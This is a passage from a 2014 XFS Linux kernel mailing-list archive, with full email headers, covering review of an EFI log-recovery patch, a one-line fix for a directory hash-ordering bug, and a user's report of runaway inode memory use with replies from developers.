a/fs/xfs/xfs_extfree_item.c > >>+++ b/fs/xfs/xfs_extfree_item.c > >>@@ -134,9 +134,10 @@ xfs_efi_item_pin( > >> * remove the EFI it's because the transaction has been canceled and by > >> * definition that means the EFI cannot be in the AIL so remove it from the > >> * transaction and free it. Otherwise coordinate with xfs_efi_release() > >>- * to determine who gets to free the EFI. > >>+ * to determine who gets to free the EFI. Call from log recovery of EFI > >>+ * entries so the EFD or error handling will remove the entry. > >> */ > >>-STATIC void > >>+void > >> xfs_efi_item_unpin( > >> struct xfs_log_item *lip, > >> int remove) > >>@@ -313,10 +314,6 @@ xfs_efi_release(xfs_efi_log_item_t *efip > >> { > >> ASSERT(atomic_read(&efip->efi_next_extent)>= nextents); > >> if (atomic_sub_and_test(nextents,&efip->efi_next_extent)) { > >>- /* recovery needs us to drop the EFI reference, too */ > >>- if (test_bit(XFS_EFI_RECOVERED,&efip->efi_flags)) > >>- __xfs_efi_release(efip); > >>- > >> __xfs_efi_release(efip); > >> /* efip may now have been freed, do not reference it again. */ > >> } > >>Index: b/fs/xfs/xfs_log_recover.c > >>=================================================================== > >>--- a/fs/xfs/xfs_log_recover.c > >>+++ b/fs/xfs/xfs_log_recover.c > >>@@ -3634,6 +3634,7 @@ xlog_recover_process_data( > >> /* > >> * Process an extent free intent item that was recovered from > >> * the log. We need to free the extents that it describes. > >>+ * The caller will release this and any following EFIs upon error. > >> */ > >> STATIC int > >> xlog_recover_process_efi( > >>@@ -3648,6 +3649,13 @@ xlog_recover_process_efi( > >> xfs_fsblock_t startblock_fsb; > >> > >> ASSERT(!test_bit(XFS_EFI_RECOVERED,&efip->efi_flags)); > >>+ set_bit(XFS_EFI_RECOVERED,&efip->efi_flags); > >>+ > >>+ /* > >>+ * Decrement the EFI/EFD counter so the EFI is removed after > >>+ * processing the EFD or error handling in the caller. > >>+ */ > >>+ xfs_efi_item_unpin(&efip->efi_item, 0); > >> > >> /* > >> * First check the validity of the extents described by the > >>@@ -3662,12 +3670,6 @@ xlog_recover_process_efi( > >> (extp->ext_len == 0) || > >> (startblock_fsb>= mp->m_sb.sb_dblocks) || > >> (extp->ext_len>= mp->m_sb.sb_agblocks)) { > >>- /* > >>- * This will pull the EFI from the AIL and > >>- * free the memory associated with it. > >>- */ > >>- set_bit(XFS_EFI_RECOVERED,&efip->efi_flags); > >>- xfs_efi_release(efip, efip->efi_format.efi_nextents); > >> return XFS_ERROR(EIO); > >> } > >> } > >>@@ -3687,7 +3689,6 @@ xlog_recover_process_efi( > >> extp->ext_len); > >> } > >> > >>- set_bit(XFS_EFI_RECOVERED,&efip->efi_flags); > >> error = xfs_trans_commit(tp, 0); > >> return error; > >> > >>@@ -3718,8 +3719,8 @@ STATIC int > >> xlog_recover_process_efis( > >> struct xlog *log) > >> { > >>- xfs_log_item_t *lip; > >>- xfs_efi_log_item_t *efip; > >>+ struct xfs_log_item *lip; > >>+ struct xfs_efi_log_item *efip; > >> int error = 0; > >> struct xfs_ail_cursor cur; > >> struct xfs_ail *ailp; > >>@@ -3750,13 +3751,14 @@ xlog_recover_process_efis( > >> } > >> > >> spin_unlock(&ailp->xa_lock); > >>- error = xlog_recover_process_efi(log->l_mp, efip); > >>- spin_lock(&ailp->xa_lock); > >>+ /* Skip all EFIs after first EFI in error. */ > >>+ if (!error) > >>+ error = xlog_recover_process_efi(log->l_mp, efip); > >> if (error) > >>- goto out; > >>+ xfs_efi_release(efip, efip->efi_format.efi_nextents); > > > >Hi Mark, > > > >If we hit the scenario where we start skipping EFIs after an error, is > >the equivalent unpin() call from process_efi() not necessary on the > >subsequent EFIs? > > > >Brian > > yes, good catch. They will have to be decremented twice. something like: > + if (!error) > + error = xlog_recover_process_efi(log->l_mp, efip); > + else > + xfs_efi_item_unpin(&efip->efi_item, 0); > + if (error) > ... > Ok, looks reasonable to me. An extra sentence or two in the previous comment to explain what's going on there would be nice as well. ;) Brian > --Mark From tinguely@sgi.com Fri Mar 28 11:21:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A931D7F53 for ; Fri, 28 Mar 2014 11:21:29 -0500 (CDT) Received: from eagdhcp-232-178.americas.sgi.com (eagdhcp-232-178.americas.sgi.com [128.162.232.178]) by relay1.corp.sgi.com (Postfix) with ESMTP id 709E78F8073; Fri, 28 Mar 2014 09:21:29 -0700 (PDT) Message-ID: <5335A188.4060400@sgi.com> Date: Fri, 28 Mar 2014 11:21:28 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Brian Foster CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: remove efi from AIL in log recovery error References: <20140325195733.510384972@sgi.com> <20140325195819.638326569@sgi.com> <20140328152434.GB21961@bfoster.bfoster> <53359812.3090806@sgi.com> <20140328160719.GA15537@bfoster.bfoster> In-Reply-To: <20140328160719.GA15537@bfoster.bfoster> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/28/14 11:07, Brian Foster wrote: > On Fri, Mar 28, 2014 at 10:41:06AM -0500, Mark Tinguely wrote: >> On 03/28/14 10:24, Brian Foster wrote: >>> On Tue, Mar 25, 2014 at 03:06:34PM -0500, Mark Tinguely wrote: ... >>> Hi Mark, >>> >>> If we hit the scenario where we start skipping EFIs after an error, is >>> the equivalent unpin() call from process_efi() not necessary on the >>> subsequent EFIs? >>> >>> Brian >> >> yes, good catch. They will have to be decremented twice. something like: >> + if (!error) >> + error = xlog_recover_process_efi(log->l_mp, efip); >> + else >> + xfs_efi_item_unpin(&efip->efi_item, 0); >> + if (error) >> ... >> > > Ok, looks reasonable to me. An extra sentence or two in the previous > comment to explain what's going on there would be nice as well. ;) > > Brian Probably will flip the if statement logic, but a comment is also a good idea. Thank-you for the feed back. --Mark. From tinguely@eagdhcp-232-178.americas.sgi.com Fri Mar 28 12:33:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 841A67F6A for ; Fri, 28 Mar 2014 12:33:57 -0500 (CDT) Received: from eagdhcp-232-178.americas.sgi.com (eagdhcp-232-178.americas.sgi.com [128.162.232.178]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6C80F8F807A; Fri, 28 Mar 2014 10:33:54 -0700 (PDT) Received: from eagdhcp-232-178.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-178.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s2SHXrBQ006267; Fri, 28 Mar 2014 12:33:53 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-178.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-178.americas.sgi.com (8.14.5/8.14.5/Submit) id s2SHXq1u006266; Fri, 28 Mar 2014 12:33:52 -0500 (CDT) (envelope-from tinguely) Message-Id: <20140328173430.622616177@sgi.com> User-Agent: quilt/0.51-1 Date: Fri, 28 Mar 2014 12:33:34 -0500 From: Mark Tinguely To: XFS Mailing List Cc: Linux Stable Subject: [PATCH] xfs: fix bad hash ordering Content-Disposition: inline; filename=xfs-fix-directory-bad-hash-order.patch Fix the fix directory "bad hash ordering" bug introduced in commit f5ea1100. Reported-by: Hannes Frederic Sowa Signed-off-by: Mark Tinguely --- A C program that generates this problem can be found at: http://oss.sgi.com/archives/xfs/2014-03/msg00373.html A xfstest for this bug is coming from Hannes Frederic Sowa. fs/xfs/xfs_da_btree.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) Index: b/fs/xfs/xfs_da_btree.c =================================================================== --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -1295,7 +1295,7 @@ xfs_da3_fixhashpath( node = blk->bp->b_addr; dp->d_ops->node_hdr_from_disk(&nodehdr, node); btree = dp->d_ops->node_tree_p(node); - if (be32_to_cpu(btree->hashval) == lasthash) + if (be32_to_cpu(btree[blk->index].hashval) == lasthash) break; blk->hashval = lasthash; btree[blk->index].hashval = cpu_to_be32(lasthash); From tap@anti-paladin.com Fri Mar 28 12:56:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D3FA47F6B for ; Fri, 28 Mar 2014 12:56:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C7D638F8074 for ; Fri, 28 Mar 2014 10:56:18 -0700 (PDT) X-ASG-Debug-ID: 1396029372-04cbb054b886d9b0001-NocioJ Received: from smtp.hier.us (smtp.hier.us [74.207.254.171]) by cuda.sgi.com with ESMTP id Zq2zlvloYwZeoQDb for ; Fri, 28 Mar 2014 10:56:12 -0700 (PDT) X-Barracuda-Envelope-From: tap@anti-paladin.com X-Barracuda-Apparent-Source-IP: 74.207.254.171 Received: from localhost (localhost [127.0.0.1]) by smtp.hier.us (Postfix) with ESMTP id 07CBC80B2 for ; Fri, 28 Mar 2014 13:49:47 -0400 (EDT) X-Virus-Scanned: Debian amavisd-new at smtp.hier.us Received: from smtp.hier.us ([127.0.0.1]) by localhost (smtp.hier.us [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id P2i0j-dqbzQk for ; Fri, 28 Mar 2014 13:49:34 -0400 (EDT) Received: from [192.168.3.10] (unknown [192.168.3.10]) by smtp.hier.us (Postfix) with ESMTPSA id 6D47380B1 for ; Fri, 28 Mar 2014 13:49:34 -0400 (EDT) From: Tap Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: Exponential memory usage? Message-Id: X-ASG-Orig-Subj: Exponential memory usage? Date: Fri, 28 Mar 2014 10:53:54 -0700 To: xfs@oss.sgi.com Mime-Version: 1.0 (Mac OS X Mail 6.3 \(1503\)) X-Mailer: Apple Mail (2.1503) X-Barracuda-Connect: smtp.hier.us[74.207.254.171] X-Barracuda-Start-Time: 1396029372 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4349 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- I have a Linux CentOs-based (6.5) system, running Linux 3.10.29 beneath = xen 4.2.3-26 with a raid array as follows: Version : 1.2 Creation Time : Mon Apr 29 22:50:41 2013 Raid Level : raid6 Array Size : 14650667520 (13971.97 GiB 15002.28 GB) Used Dev Size : 2930133504 (2794.39 GiB 3000.46 GB) Raid Devices : 7 Total Devices : 8 Persistence : Superblock is persistent Update Time : Fri Mar 28 10:31:08 2014 State : active=20 Active Devices : 7 Working Devices : 8 Failed Devices : 0 Spare Devices : 1 Layout : left-symmetric Chunk Size : 512K Name : s2013:0 UUID : ec5acf05:2c840b70:166cde66:5e21e5c7 Events : 386 Number Major Minor RaidDevice State 0 8 33 0 active sync /dev/sdc1 7 8 113 1 active sync /dev/sdh1 8 8 81 2 active sync /dev/sdf1 3 8 97 3 active sync /dev/sdg1 4 8 17 4 active sync /dev/sdb1 5 8 49 5 active sync /dev/sdd1 6 8 129 6 active sync /dev/sdi1 9 8 65 - spare /dev/sde1 xfs_info shows: meta-data=3D/dev/md127 isize=3D256 agcount=3D32, = agsize=3D114458368 blks =3D sectsz=3D512 attr=3D2, = projid32bit=3D0 data =3D bsize=3D4096 blocks=3D3662666880, = imaxpct=3D5 =3D sunit=3D128 swidth=3D640 blks naming =3Dversion 2 bsize=3D4096 ascii-ci=3D0 log =3Dinternal bsize=3D4096 blocks=3D521728, = version=3D2 =3D sectsz=3D512 sunit=3D8 blks, = lazy-count=3D1 realtime =3Dnone extsz=3D4096 blocks=3D0, = rtextents=3D0 The system currently has 32 GB of RAM. I was hoping to use this as the main data-stor for various (small) xen = machines, one of which was going to be a zoneminder system. Zoneminder = makes lots of "small" files (JPG's) from the various HD IP cameras that = are connected. Anyway at some point the system had become unusable. Something as = simple as: find /raid -type f -- or -- ls -lR /raid Would walk the entire system out of RAM. Looking at slabtop it looks = like this is due mostly to xfs_inode memory usage. Note that since = these problems began I stopped running all sub-ordinate domains and am = now only running dom0. In fact I've allocated all 32 GB to that domain, = and memory problems still persist. (At 83% FS utilization) I decided I have to do something to get out of = this unusable state and therefore started removing ( rm -rf targetDir ) = all of the files that the zoneminder system had generated. Even this, = after a fresh reboot with thing else running, will run the system out of = RAM (all 32 GB of it). The delete of this area is still in progress as = I have to periodically restart the machine to get RAM back (as I compose = this email it is down to 66% space used). I've googled and can't really find anything that describes these kinds = of problems. I've tried the few limited tunable values (XFS and VS) and = nothing seems to have any positive impact on this run-away memory usage. My questions are: 1. Is this expected? 2. Are there any XFS memory calculators that would have shown me this = is a problem to begin with? Given it walks out of 32 GB of memory I can't be sure that upgrading to = 64 or 128 GB will *ever* help this situation. Note: FWIW Un-mounting the filesystem also recovers the memory. Thanks. From bpm@sgi.com Fri Mar 28 14:08:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9B01B7F6D for ; Fri, 28 Mar 2014 14:08:01 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8973C8F804C; Fri, 28 Mar 2014 12:07:58 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 4AECA4266DC; Fri, 28 Mar 2014 14:07:58 -0500 (CDT) Date: Fri, 28 Mar 2014 14:07:58 -0500 From: Ben Myers To: Mark Tinguely Cc: XFS Mailing List , Linux Stable Subject: Re: [PATCH] xfs: fix bad hash ordering Message-ID: <20140328190758.GW1935@sgi.com> References: <20140328173430.622616177@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140328173430.622616177@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Mar 28, 2014 at 12:33:34PM -0500, Mark Tinguely wrote: > Fix the fix directory "bad hash ordering" bug introduced in > commit f5ea1100. > > Reported-by: Hannes Frederic Sowa > Signed-off-by: Mark Tinguely > --- > A C program that generates this problem can be found at: > http://oss.sgi.com/archives/xfs/2014-03/msg00373.html > > A xfstest for this bug is coming from Hannes Frederic Sowa. > > fs/xfs/xfs_da_btree.c | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > Index: b/fs/xfs/xfs_da_btree.c > =================================================================== > --- a/fs/xfs/xfs_da_btree.c > +++ b/fs/xfs/xfs_da_btree.c > @@ -1295,7 +1295,7 @@ xfs_da3_fixhashpath( > node = blk->bp->b_addr; > dp->d_ops->node_hdr_from_disk(&nodehdr, node); > btree = dp->d_ops->node_tree_p(node); > - if (be32_to_cpu(btree->hashval) == lasthash) > + if (be32_to_cpu(btree[blk->index].hashval) == lasthash) > break; > blk->hashval = lasthash; > btree[blk->index].hashval = cpu_to_be32(lasthash); Looks good to me. Reviewed-by: Ben Myers From stefanrin@gmail.com Fri Mar 28 15:09:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 47B2E7F6A for ; Fri, 28 Mar 2014 15:09:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3B5D98F8084 for ; Fri, 28 Mar 2014 13:09:54 -0700 (PDT) X-ASG-Debug-ID: 1396037392-04cb6c5676a5d400001-NocioJ Received: from mail-ve0-f169.google.com (mail-ve0-f169.google.com [209.85.128.169]) by cuda.sgi.com with ESMTP id VoRVW5A3qbyDUFC0 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 28 Mar 2014 13:09:53 -0700 (PDT) X-Barracuda-Envelope-From: stefanrin@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.169 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.169] Received: by mail-ve0-f169.google.com with SMTP id pa12so6488508veb.28 for ; Fri, 28 Mar 2014 13:09:52 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.169] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.169] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=LqB27ZxfJcL8OHgaTWB+9mpvbBDQintuMaknkJGGqoE=; b=kkGd3L6HJ35XhMZIa/MmkGhkQqWaha94QWfd9O0V8jLpy59KXTSTQ7KIou/zesilju 2KrgCFpoKBld9WsuTJ+96DuiKmXDWH7wQdAr7EubhTiTI6HeJBclQActuDKJFIPbGf9o qOQZazYlNcY6nfUTEwr41FBN0GrTbAU1O9zy1/pEcrpPDLKgP0fK/0UG/zD0hoc+xgEF v6MPgsJdEzDNmZWU5+tm7cRPJyOxyI4De+EQXgExa2O8i9xSEz5FljiXtHJlYvCSxIuV jDYeaHMK6gP/waxr6sfuKRgSNh9h2QdXaPhbRq4FnMm6qTN+E/awN5XFXVQ5cz4rBT9p zDUw== MIME-Version: 1.0 X-Received: by 10.58.133.15 with SMTP id oy15mr8569890veb.19.1396037392392; Fri, 28 Mar 2014 13:09:52 -0700 (PDT) Received: by 10.52.248.42 with HTTP; Fri, 28 Mar 2014 13:09:52 -0700 (PDT) In-Reply-To: References: Date: Fri, 28 Mar 2014 21:09:52 +0100 Message-ID: Subject: Re: Exponential memory usage? From: Stefan Ring X-ASG-Orig-Subj: Re: Exponential memory usage? To: Tap Cc: Linux fs XFS Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f169.google.com[209.85.128.169] X-Barracuda-Start-Time: 1396037393 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4353 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Mar 28, 2014 at 6:53 PM, Tap wrote: > My questions are: > > 1. Is this expected? > > 2. Are there any XFS memory calculators that would have shown me this is a problem to begin with? > > > Given it walks out of 32 GB of memory I can't be sure that upgrading to 64 or 128 GB will *ever* help this situation. > > Note: FWIW Un-mounting the filesystem also recovers the memory. How do you determine that the system runs out of memory? From stan@hardwarefreak.com Fri Mar 28 20:03:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5689B7F3F for ; Fri, 28 Mar 2014 20:03:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3226A8F8066 for ; Fri, 28 Mar 2014 18:03:46 -0700 (PDT) X-ASG-Debug-ID: 1396055025-04cbb054b7899320001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 1yHwo6EpfOsb02Rl for ; Fri, 28 Mar 2014 18:03:45 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 190256C106; Fri, 28 Mar 2014 20:03:45 -0500 (CDT) Message-ID: <53361BF0.6010909@hardwarefreak.com> Date: Fri, 28 Mar 2014 20:03:44 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Tap , xfs@oss.sgi.com Subject: Re: Exponential memory usage? References: X-ASG-Orig-Subj: Re: Exponential memory usage? In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1396055025 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 3/28/2014 12:53 PM, Tap wrote: > I have a Linux CentOs-based (6.5) system, running Linux 3.10.29 beneath xen 4.2.3-26 with a raid array as follows: 32 or 64 bit kernel? > Raid Level : raid6 > Array Size : 14650667520 (13971.97 GiB 15002.28 GB) > Used Dev Size : 2930133504 (2794.39 GiB 3000.46 GB) > Raid Devices : 7 5 data spindles > Layout : left-symmetric > Chunk Size : 512K 2.5 MB stripe width > xfs_info shows: > > meta-data=/dev/md127 isize=256 agcount=32, agsize=114458368 blks > = sectsz=512 attr=2, projid32bit=0 > data = bsize=4096 blocks=3662666880, imaxpct=5 > = sunit=128 swidth=640 blks > naming =version 2 bsize=4096 ascii-ci=0 > log =internal bsize=4096 blocks=521728, version=2 > = sectsz=512 sunit=8 blks, lazy-count=1 > realtime =none extsz=4096 blocks=0, rtextents=0 XFS is aligned > The system currently has 32 GB of RAM. > > I was hoping to use this as the main data-stor for various (small) xen machines, one of which was going to be a zoneminder system. Zoneminder makes lots of "small" files (JPG's) from the various HD IP cameras that are connected. What is the JPG file size? This is critical. > Anyway at some point the system had become unusable. Something as simple as: > > find /raid -type f > -- or -- > ls -lR /raid > > Would walk the entire system out of RAM. Looking at slabtop it looks like this is due mostly to xfs_inode memory usage. Note that since these problems began I stopped running all sub-ordinate domains and am now only running dom0. In fact I've allocated all 32 GB to that domain, and memory problems still persist. > > (At 83% FS utilization) I decided I have to do something to get out of this unusable state and therefore started removing ( rm -rf targetDir ) all of the files that the zoneminder system had generated. Even this, after a fresh reboot with thing else running, will run the system out of RAM (all 32 GB of it). The delete of this area is still in progress as I have to periodically restart the machine to get RAM back (as I compose this email it is down to 66% space used). 83% and 66% of what, inodes or extents? Please show ~# df -h -T -x tmpfs ~# df -i -h -T -x tmpfs > I've googled and can't really find anything that describes these kinds of problems. I've tried the few limited tunable values (XFS and VS) and nothing seems to have any positive impact on this run-away memory usage. > > My questions are: > > 1. Is this expected? > > 2. Are there any XFS memory calculators that would have shown me this is a problem to begin with? The answers depend on the cause, which has yet to be determined. Analysis of the requested information should get you an answer pretty quickly, unless the problem turns out to be a bug, which may take a little longer. > Given it walks out of 32 GB of memory I can't be sure that upgrading to 64 or 128 GB will *ever* help this situation. Again, depends on the cause. Don't throw more hardware at this until we have a root cause identified, and it shows more RAM is needed. If this were a desktop and 2 sticks is $50 sure, but not when we're talking registered ECC server sticks to reach 128MB capacity. This 32 to 128 scenario often involves tossing the 32GB as it's not registered or of the wrong rank/clock. > Note: FWIW Un-mounting the filesystem also recovers the memory. Of course. Unmounting frees up all the filesystem resources. Cheers, Stan From sandeen@sandeen.net Fri Mar 28 20:24:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B169A7F3F for ; Fri, 28 Mar 2014 20:24:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8F24A304067 for ; Fri, 28 Mar 2014 18:24:27 -0700 (PDT) X-ASG-Debug-ID: 1396056265-04cbb054b689aba0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id pFUfpTdDZUAnStHh for ; Fri, 28 Mar 2014 18:24:26 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 7835D60F22F7; Fri, 28 Mar 2014 20:24:25 -0500 (CDT) Message-ID: <533620C8.1010204@sandeen.net> Date: Fri, 28 Mar 2014 20:24:24 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Tap , xfs@oss.sgi.com Subject: Re: Exponential memory usage? References: X-ASG-Orig-Subj: Re: Exponential memory usage? In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1396056265 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4366 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/28/14, 12:53 PM, Tap wrote: > I have a Linux CentOs-based (6.5) system, running Linux 3.10.29 > beneath xen 4.2.3-26 with a raid array as follows: > Anyway at some point the system had become unusable. Something as > simple as: > > find /raid -type f -- or -- ls -lR /raid > > Would walk the entire system out of RAM. Looking at slabtop it looks > like this is due mostly to xfs_inode memory usage. Note that since > these problems began I stopped running all sub-ordinate domains and > am now only running dom0. In fact I've allocated all 32 GB to that > domain, and memory problems still persist. Out of? Did the OOM-killer actually show up, or did you simply see memory usage rise? The dcache is tenacious. dentries are cached pretty aggressively, and those in turn will pin the vfs/xfs inodes. But memory is there to be used; unless you actually see problems, then the system is likely working as it should be. > Note: FWIW Un-mounting the filesystem also recovers the memory. Yep, that would clear out the cache. -Eric From sandeen@sandeen.net Fri Mar 28 20:56:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 689357F3F for ; Fri, 28 Mar 2014 20:56:08 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3094D8F8074 for ; Fri, 28 Mar 2014 18:56:07 -0700 (PDT) X-ASG-Debug-ID: 1396058165-04bdf05daaa9ed30001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id H23UyamW7S8leGoK for ; Fri, 28 Mar 2014 18:56:05 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net 